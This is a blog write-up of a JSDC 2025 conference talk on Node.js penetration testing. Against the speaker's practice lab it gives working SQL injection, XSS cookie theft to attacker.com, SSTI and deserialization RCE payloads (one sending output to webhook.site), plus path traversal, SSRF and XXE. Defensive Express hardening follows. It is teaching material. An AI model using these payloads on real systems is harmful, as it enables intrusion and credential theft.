[Conf] 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南

本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。

活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw

前言

當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:

X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)

這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。

但知道這是 Node.js,真的改變了什麼嗎?

這個問題貫穿了整場演講,也是本文想要探討的核心。


實驗環境

本文所有攻擊都可以在以下環境中實際練習:

⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。


第一部分:攻擊者視角

一、識別 Node.js 的方法

在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:

1.1 HTTP Response Headers

curl -I https://nodelab.feifei.tw

觀察回應中的:

  • X-Powered-By: Express — 最直接的線索
  • Server: nginx — 配合其他線索判斷

1.2 Cookie 命名慣例

打開瀏覽器開發者工具 → Application → Cookies,觀察:

  • connect.sid — Express Session 的預設名稱

1.3 錯誤訊息洩漏

故意觸發錯誤,觀察 Stack Trace 中是否包含:

  • node_modules
  • at Object.<anonymous>
  • Express 相關路徑

1.4 使用 Wappalyzer

安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。


二、通用漏洞(與語言無關)

以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%

2.1 SQL Injection

Lab 路徑https://nodelab.feifei.tw/api/articles/

漏洞程式碼

// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};

攻擊流程

Step 1:探測漏洞

curl "https://nodelab.feifei.tw/api/articles/'"

如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。

Step 2:確定欄位數量(ORDER BY)

# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -"  # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -"  # 失敗
# 結論:有 6 個欄位

Step 3:取得資料庫版本

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"

Step 4:列出所有資料表

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"

Step 5:取得 users 表的欄位

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"

Step 6:取得帳號密碼

curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"

預期結果

test:password123,admin:secret1

2.2 XSS(跨站腳本攻擊)

反射型 XSS

Lab 路徑https://nodelab.feifei.tw/search

漏洞程式碼

app.get('/search', (req, res) => {
  const keyword = req.query.keyword;
  res.send(你搜尋的關鍵字是:${keyword});  // 直接輸出,未轉義
});

攻擊 Payload

https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>

竊取 Cookie 的 Payload

https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS

Lab 路徑https://nodelab.feifei.tw/form

測試 Payload

類型 Payload 預期結果
HTML 注入 <h1>這是標題</h1> 顯示為 H1 標題
CSS 注入 <style>body{background:red}</style> 背景變紅
JS 注入 <script>alert(‘XSS’)</script> 彈出對話框

2.3 JWT 誤用

Lab 路徑https://nodelab.feifei.tw/api/auth/login

漏洞程式碼

// 絕對不要這樣寫!
const token = jwt.sign({
  id: user.id,
  username: user.username,
  password: user.password  // 密碼放進 JWT!
}, secretKey);

💬 講者原話:「大家不要笑,這些全部都是真實的案例。」

這不是虛構的教學範例,而是在實際滲透測試中真的遇到過的情況。

攻擊方式

  1. 取得 JWT Token

    curl -X POST https://nodelab.feifei.tw/api/auth/login \
    -H "Content-Type: application/json" \
    -d '{"username":"test","password":"password123"}'
  2. 解碼 JWT(到 https://jwt.io

    • JWT 中間部分是 Base64 編碼
    • 解碼後可能看到明文密碼

2.4 敏感資料洩露

Lab 路徑https://nodelab.feifei.tw/api/users

漏洞程式碼

app.get('/api/users/:id', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);  // 直接回傳整個物件,包含密碼
});

💬 講者原話:「這個東西在什麼時候會出現?Vibe Coding 的時候。」

「所以這時候 API 就會洩露密碼,所有東西全部都列出來,完整的非常貼心,還整理好了,直接打包送給駭客。」

請在座各位不要這樣寫,如果今天你在用 Vibe Coding,請務必確認一下有沒有這樣寫。

為什麼 Vibe Coding 容易出現這個問題?

當你用 AI 快速生成 CRUD API 時,AI 為了「方便」會直接回傳整個資料庫物件,而不會特別過濾敏感欄位。如果開發者沒有仔細檢查,這些程式碼就會直接上線。

攻擊方式

curl https://nodelab.feifei.tw/api/users/1

可能的回傳

{
  "id": 1,
  "username": "admin",
  "email": "admin@example.com",
  "password": "hashed_password_here",
  "created_at": "2024-01-01"
}

2.5 SSRF(伺服器端請求偽造)

Lab 路徑https://nodelab.feifei.tw/fetch

漏洞程式碼

app.get('/fetch', async (req, res) => {
  const { url } = req.query;
  const response = await axios.get(url);  // 直接請求使用者提供的 URL
  res.json(response.data);
});

攻擊 Payload

存取內部 API

curl "https://nodelab.feifei.tw/fetch?url=https://internal-api:4000/api/sensitive"

讀取本機檔案(如果支援 file 協定):

curl "https://nodelab.feifei.tw/fetch?url=file:///etc/passwd"

存取雲端 Metadata(AWS/GCP):

curl "https://nodelab.feifei.tw/fetch?url=https://169.254.169.254/latest/meta-data/"

💬 講者原話:「裡面有什麼?有你雲端上面的 Token、API Key 等等,這些是非常危險的。所以哪天你發現你家的 AWS 帳單暴增,看一下有沒有類似的問題。

真實案例場景

攻擊者透過 SSRF 取得 AWS Metadata 中的 IAM Role Token 後,可以:

  1. 啟動大量 EC2 實例進行挖礦
  2. 存取 S3 Bucket 中的敏感資料
  3. 修改安全群組設定
  4. 建立新的 IAM 使用者作為後門

這就是為什麼很多公司會突然收到巨額的雲端帳單。


三、Node.js 特定漏洞

以下漏洞是 Node.js 特有的,佔發現漏洞的 20-30%,但往往可以導致 RCE(遠端程式碼執行)

3.1 SSTI(伺服器端模板注入)

Lab 路徑

模板引擎 URL
JsRender https://nodelab.feifei.tw/ssti/JsRender-demo
PugJS https://nodelab.feifei.tw/ssti/PugJS-demo
Nunjucks https://nodelab.feifei.tw/ssti/Nunjucks-demo
Step 1:確認 SSTI 漏洞存在

JsRender

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:7*7}}"}'
# 預期結果:49

PugJS

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{7*7}"}'
# 預期結果:49

Nunjucks

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{7*7}}"}'
# 預期結果:49
Step 2:RCE 攻擊

💬 講者原話:「攻擊者可以嘗試執行系統的指令。這是搭配 Node.js 裡面的特性,還有各式各樣的內容。如果你看不懂沒有關係,回去可以拍起來,然後用 AI,反正現在 AI 都會幫你寫攻擊 Payload。」

你不要覺得 AI 有攻擊的倫理道德,沒有,完全沒有。

「你說『這個語法要怎麼寫,幫我把這個攻擊語法拼接出來』,它就會給你。」

JsRender – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/JsRender-demo \
  -H "Content-Type: application/json" \
  -d '{"payload":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"').toString()\")()}}"}'

PugJS – 建立檔案

curl -X POST https://nodelab.feifei.tw/ssti/PugJS-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad('"'"'child_process'"'"').exec('"'"'touch /tmp/pwned.txt'"'"')}()}"}'

Nunjucks – 讀取 /etc/passwd

curl -X POST https://nodelab.feifei.tw/ssti/Nunjucks-demo \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range.constructor(\"return global.process.mainModule.require('"'"'child_process'"'"').execSync('"'"'cat /etc/passwd'"'"')\")()}}"}'

⚠️ 講者提醒:「對於白帽駭客、資安工程師來講,我們測試到這樣就好了。但如果是一個黑帽駭客,就是你所謂聽過一些邪惡的駭客,他可能就會下 rm -rf / 之類的。有一些駭客就是基於『好好玩有趣』,請不要在你家公司內部這樣下,會出大事。


3.2 不安全的反序列化

Lab 路徑https://nodelab.feifei.tw/api/serialize

漏洞程式碼

const serialize = require('node-serialize');

app.post('/api/serialize', (req, res) => {
  const data = serialize.unserialize(req.body);  // 危險!
  res.json(data);
});

攻擊 Payload

基本測試

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"key":"value"}'

RCE – Console.log

curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}'

RCE – 讀取系統資訊(Out-of-Band)

# 先到 webhook.site 取得你的 URL
curl -X POST https://nodelab.feifei.tw/api/serialize \
  -H "Content-Type: application/json" \
  -d '{"rce":"_$$ND_FUNC$$_function(){const  https=require(\" https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/YOUR-UUID\",method:\"POST\"};const req= https.request(options);req.write(result);req.end();return {}}()"}'

3.3 Prototype Pollution(原型污染)

概念說明

JavaScript 的所有物件都繼承自 Object.prototype。如果攻擊者能夠修改 Object.prototype,就會影響所有物件。

漏洞程式碼

function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

攻擊 Payload

{
  "__proto__": {
    "isAdmin": true
  }
}

影響

const user = {};
console.log(user.isAdmin);  // true(被污染了!)

3.4 Path Traversal(路徑穿越)

Lab 路徑https://nodelab.feifei.tw/api/pathTraversal

漏洞程式碼

app.get('/api/pathTraversal', (req, res) => {
  const filename = req.query.filename;
  const content = fs.readFileSync(./upload/${filename}, 'utf8');
  res.send(content);
});

攻擊 Payload

正常存取

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=test.txt"

讀取 /etc/passwd

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd"

讀取環境變數

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ"

讀取程式碼

curl "https://nodelab.feifei.tw/api/pathTraversal?filename=../server.js"
curl "https://nodelab.feifei.tw/api/pathTraversal?filename=/../.env"

3.5 Cache Pollution(快取污染)

Lab 路徑https://nodelab.feifei.tw/api/cache

攻擊流程

Step 1:清除快取

curl https://nodelab.feifei.tw/api/cache/flush

Step 2:確認快取為空

curl https://nodelab.feifei.tw/api/cache/getallvalue

Step 3:注入惡意腳本

curl -H "User-Agent: <script>alert('Hacked')</script>" \
  https://nodelab.feifei.tw/api/cache/

Step 4:檢查快取內容

curl https://nodelab.feifei.tw/api/cache/getallvalue

3.6 XXE(XML 外部實體注入)

Lab 路徑https://nodelab.feifei.tw/load_xml

攻擊 Payload

curl -X POST https://nodelab.feifei.tw/load_xml \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>'

第二部分:防禦者視角

四、Express 框架安全加固

4.1 使用 Helmet

const helmet = require('helmet');
app.use(helmet());

Helmet 會自動設定多個安全標頭:

  • Content-Security-Policy
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY
  • X-XSS-Protection

4.2 隱藏技術資訊

app.disable('x-powered-by');

4.3 修改 Session 名稱

app.use(session({
  name: 'sessionId',  // 不要用預設的 connect.sid
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpsOnly: true,
    secure: true,
    sameSite: 'strict'
  }
}));

💬 講者原話:「不要用預設的名字,你可以改成 sessionId,或是有些工程師會把它改成很像 PHP 的樣子。」

「這是一些『想要玩駭客的方法』,但不建議,因為你的主管朋友會問你說『你為什麼要這麼改?』然後你沒有辦法說服他。這樣子你可以叫他來聽我的議程。」

偽裝成其他技術(不建議,但有趣):

app.use(session({
  name: 'PHPSESSID',  // 偽裝成 PHP
  // ...
}));

4.4 輸入驗證

const { body, validationResult } = require('express-validator');

app.post('/api/user',
  body('email').isEmail().normalizeEmail(),
  body('password').isLength({ min: 12 }),
  body('username').trim().escape(),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 處理請求...
  }
);

五、防禦特定漏洞

5.1 防禦 SQL Injection

// 使用參數化查詢
const { rows } = await db.query(
  'SELECT * FROM articles WHERE id = $1',
  [req.params.id]
);

// 或使用 ORM(Sequelize)
const article = await Article.findByPk(req.params.id);

5.2 防禦 XSS

const he = require('he');
const sanitizeHtml = require('sanitize-html');
const createDOMPurify = require('dompurify');

// 方法一:HTML 實體編碼
const safe = he.encode(userInput);

// 方法二:HTML 清理
const clean = sanitizeHtml(userInput);

// 方法三:DOMPurify
const purified = DOMPurify.sanitize(userInput);

5.3 防禦 Prototype Pollution

// 方法一:使用沒有原型的物件
const safeObject = Object.create(null);

// 方法二:凍結原型
Object.freeze(Object.prototype);

// 方法三:過濾危險屬性
function safeAssign(target, source) {
  const dangerous = ['__proto__', 'constructor', 'prototype'];
  for (let key in source) {
    if (dangerous.includes(key)) continue;
    target[key] = source[key];
  }
  return target;
}

5.4 防禦 SSRF

const { URL } = require('url');

const allowedHosts = ['api.example.com', 'data.example.com'];

app.get('/fetch', async (req, res) => {
  const { url } = req.query;

  try {
    const parsedUrl = new URL(url);

    // 白名單驗證
    if (!allowedHosts.includes(parsedUrl.hostname)) {
      return res.status(403).send('Access denied');
    }

    // 只允許 HTTP/HTTPS
    if (!['https:', ' https:'].includes(parsedUrl.protocol)) {
      return res.status(400).send('Invalid protocol');
    }

    const response = await axios.get(url);
    res.json(response.data);
  } catch (error) {
    res.status(400).send('Invalid URL');
  }
});

5.5 防禦 Path Traversal

const path = require('path');

app.get('/api/file', (req, res) => {
  const filename = req.query.filename;

  // 只取檔名,移除路徑
  const safeFilename = path.basename(filename);

  // 確認路徑在允許的目錄內
  const filePath = path.join(__dirname, 'upload', safeFilename);
  const uploadDir = path.join(__dirname, 'upload');

  if (!filePath.startsWith(uploadDir)) {
    return res.status(403).send('Access denied');
  }

  // 讀取檔案...
});

第三部分:Lab 路徑總整理

漏洞類型 Lab 路徑 HTTP 方法
SQL Injection /api/articles/:id GET
XSS(反射型) /search?keyword= GET
XSS(DOM-based) /form GET/POST
JWT 誤用 /api/auth/login POST
敏感資料洩露 /api/users/:id GET
SSRF /fetch?url= GET
SSTI – JsRender /ssti/JsRender-demo POST
SSTI – PugJS /ssti/PugJS-demo POST
SSTI – Nunjucks /ssti/Nunjucks-demo POST
反序列化 /api/serialize POST
Path Traversal /api/pathTraversal?filename= GET
Cache Pollution /api/cache/ GET
XXE /load_xml POST
NoSQL Injection /api/product/filter?category= GET
檔案上傳 /upload GET/POST
CRLF Injection /redirect?url= GET

結論:Node.js Matters?

對攻擊者而言

是的,但不是全部。

  • 60-70% 的漏洞與語言無關(SQL Injection、XSS、SSRF 等)
  • 20-30% 需要 Node.js 專業知識(Prototype Pollution、SSTI、反序列化)
  • 這 20-30% 往往可以導致 RCE(遠端程式碼執行)

對防禦者而言

是的,請擁抱你的技術。

  1. 理解 Node.js 的安全特性
  2. 建立 Node.js 特定的安全檢查清單
  3. 善用生態系統:helmet、express-validator、npm audit

💬 講者原話:「評估是否需要處理敏感的資料,有沒有在做個資的處理。個資法很重要,現在最高罰 1500 萬,所以請不要為了你們公司內部的這種個資的問題,或是你在幫客戶去寫程式碼的時候,忽略這件事情。」

安全的本質沒有變

無論使用什麼語言:

  • 永遠不信任使用者輸入
  • 最小權限原則
  • 深度防禦

參考資源


本文整理自 JSDC 2025 演講內容。所有攻擊 Payload 僅供學習用途,請在授權環境中練習。


附錄:Q&A 精選

以下是演講後的 Q&A 環節精華:

Q1:被雜湊過的密碼還可以利用嗎?

💬 講者回答:「我們可以破解雜湊。第一個叫 Hashcat 可以破解,另外一個叫 CMD5 的網站。這個中國的網站,你把雜湊丟進去之後,它會自動幫你進行反解。」

「你說雜湊不能反解嗎?這邊有個攻擊叫彩虹表,它在後端 map 純文字密碼跟雜湊的值。你會發現有時候查下去需要錢,這是他們的商業模式。」

密碼破解工具

  • Hashcat:本地端 GPU 加速破解
  • John the Ripper:經典密碼破解工具
  • CMD5.com:線上雜湊查詢服務(彩虹表)

Q2:Vibe Coding 造成很多漏洞,怎麼看?

💬 講者回答:「工作機會有啦!沒錯,就是工作機會。我越喜歡大家使用 Vibe Coding,我就越有更多漏洞可以打。」

「這是個資安工程師的想法,但實際上我們會發現 Vibe Coding 在寫程式碼的時候,如果你有再看 Code 的話…因為我有一些 Vibe Coding 客戶是不會看 Code 的。」

「我們覺得未來應該會有一些自動化的 AI 工具可以幫我們掃描,其實現在已經有了。但我們會發現這些 AI 資安掃描的自動化工具,你可能掃完描你還會看不懂。Vibe Coding 看不懂,那你可能就要叫 AI 改。」

講者本次示範的程式碼

「我在這次示範的程式碼全部都是 Vibe Coding 寫出來的,那時候還是用 GPT 寫的,現在應該可以寫出更漂亮、更好看的,因為有 Claude Code。」

Q3:有什麼破壞不可否認性的案例嗎?

💬 講者回答:「有時候你寫日誌的時候寫的太明白,日誌裡面可以找到帳號密碼。你把 Console Log 裡面塞了一大堆東西為了要 Debug,然後我可以從日誌裡面看到一些內容。」

「還有就是駭客進去之後把你日誌刪掉。不要覺得駭客不會做這種事情,有些駭客進去之後把所有的事情亂搞,亂搞完之後就開始進行日誌的清理,把你的日誌也清掉。」

日誌安全建議

  • 不要在日誌中記錄敏感資訊(密碼、Token)
  • 將日誌傳送到獨立的日誌伺服器
  • 設定日誌不可刪除(append-only)
  • 定期備份日誌

Q4:MCP 有成熟的攻擊語法跟注入方法嗎?

💬 講者回答:「有。MCP 本身有時候會變成惡意的軟體,就是你信任這個 MCP,那我就可以在這 MCP 裡面用這個去偷你電腦裡面的東西。」

「實際上我們在使用 MCP 的時候,應該要注意它到底請求哪些權限、做了什麼事情。我相信很多 Vibe Coding 的人他不會覺得 MCP 有什麼風險,但就是有風險。」

MCP 安全建議

  • 只使用可信來源的 MCP
  • 檢查 MCP 請求的權限範圍
  • 在沙盒環境中測試新的 MCP
  • 定期審查已安裝的 MCP

Q5:有推薦的掃描工具嗎?

💬 講者回答:「掃描工具有分黑箱跟白箱。白箱就是打開看得到裡面的程式碼。如果是黑箱的話你可以用 OWASP ZAP。現在 AI 工具其實也可以,可以用一些 OWASP 他們開發的工具,這是開源免費的。」

推薦工具清單

類型 工具 說明
黑箱測試 OWASP ZAP 免費開源,功能強大
黑箱測試 Burp Suite 業界標準,有免費版
白箱測試 SonarQube 程式碼品質與安全掃描
白箱測試 Snyk npm 套件漏洞掃描
依賴檢查 npm audit Node.js 內建
AI 輔助 GitHub Copilot 可以幫忙找漏洞

講者提醒

大家都不要成為腳本小子,我不想要看你等一下又被警察抓走。就算被抓走,不要說我教的,今天走出去你們就忘記這一切。」

回去的時候可以跟資安 Team 做好朋友,但是在座開發者可能常常會跟資安人員吵架…」

「練習環境:nodelab.feifei.tw(回去可以打打看,記得通知我,我會幫你重開)」

林子婷 (飛飛/Phoebe 菲比)
林子婷 (飛飛/Phoebe 菲比)

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。